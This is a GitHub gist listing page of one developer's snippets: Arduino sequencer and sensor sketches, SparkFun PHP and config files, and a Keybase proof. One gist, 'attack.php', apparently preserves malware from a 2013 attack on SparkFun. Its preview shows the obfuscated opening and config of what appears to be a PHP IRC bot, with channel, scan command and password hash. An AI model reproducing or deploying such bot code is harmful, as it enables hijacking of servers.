Skip to content

Instantly share code, notes, and snippets.

@toddtreece
toddtreece / midi_cv.ino
Created April 28, 2015 02:33
FifteenStep: MIDI in -> CV Out
// ---------------------------------------------------------------------------
//
// midi_cv.ino
//
// A MIDI sequencer example using two MCP4725 dacs for eurorack control voltage
// output and NeoPixels for display.
//
// Required dependencies:
// Adafruit FifteenStep Sequencer Library: https://github.com/adafruit/FifteenStep
// Adafruit NeoPixel Library: https://github.com/adafruit/Adafruit_NeoPixel
@toddtreece
toddtreece / attack.php
Last active December 30, 2019 05:33
sparkfun attack 12-27-13
<?php set_time_limit(0); error_reporting(0); class FZjJrBjJJZfjFnzFf {
var $BvNfVZJNBNjVNvz = array("JFJBfVJnRRzvbZzJ"=>"dXdkZ31kej5geHk7e30=",
"zvvF"=>"8080",
"nVnBV"=>"scary",
"zjnNFn"=>"13",
"HhLxP"=>"#ngrz",
"vBf"=>"scan",
"FzvzFJrrj"=>"bf4b3ba0692b4378406f3df1df1e326a",
"NrVzbznZJJ"=>".",
{
"packages": [
{
"name": "adafruit",
"maintainer": "Adafruit",
"websiteURL": "https://adafruit.com",
"email": "info@adafruit.com",
"help": {
"online": "https://forums.adafruit.com"
},
@toddtreece
toddtreece / .env
Created July 11, 2014 00:15
phant port change example
PHANT_PORT=8080
PHANT_TELNET_PORT=8081
A_WebWeather.ino/*
Web client to Adafruit IO
This sketch connects to a website (http://www.adafruit.com)
using a WINC1500
This example is written for a network using WPA encryption. For
WEP or WPA, change the Wifi.begin() call accordingly.
This example is written for a network using WPA encryption. For
@toddtreece
toddtreece / SparkKml.php
Created June 7, 2011 17:04
SparkFun KML
<?php
/**
* Generates KML for use with SparkVisualize
*
* @author Todd Treece
*/
class SparkKml {
const SFE_LAT = '40.0648970';
const SFE_LNG = '-105.2099410';
@toddtreece
toddtreece / gist:940886
Created April 25, 2011 17:51
light trigger
int ledPin = 13;
int drumSensor = 0;
byte val = 0;
int statePin = LOW;
int THRESHOLD = 50;
void setup() {
pinMode(ledPin, OUTPUT);
Serial.begin(9600);
}
@toddtreece
toddtreece / keybase.md
Last active August 29, 2015 14:11
keybase.md

Keybase proof

I hereby claim:

  • I am toddtreece on github.
  • I am toddtreece (https://keybase.io/toddtreece) on keybase.
  • I have a public key whose fingerprint is 2223 D90F 790B C662 E873 AAAC CEAF AC28 3CB0 FA9F

To claim this, I am signing this object:

@toddtreece
toddtreece / _install.txt
Created July 17, 2014 17:28
socket.io client example for data.sparkfun.com
$ node -v
v0.10.29
$ npm install socket.io-client
$ node socket.js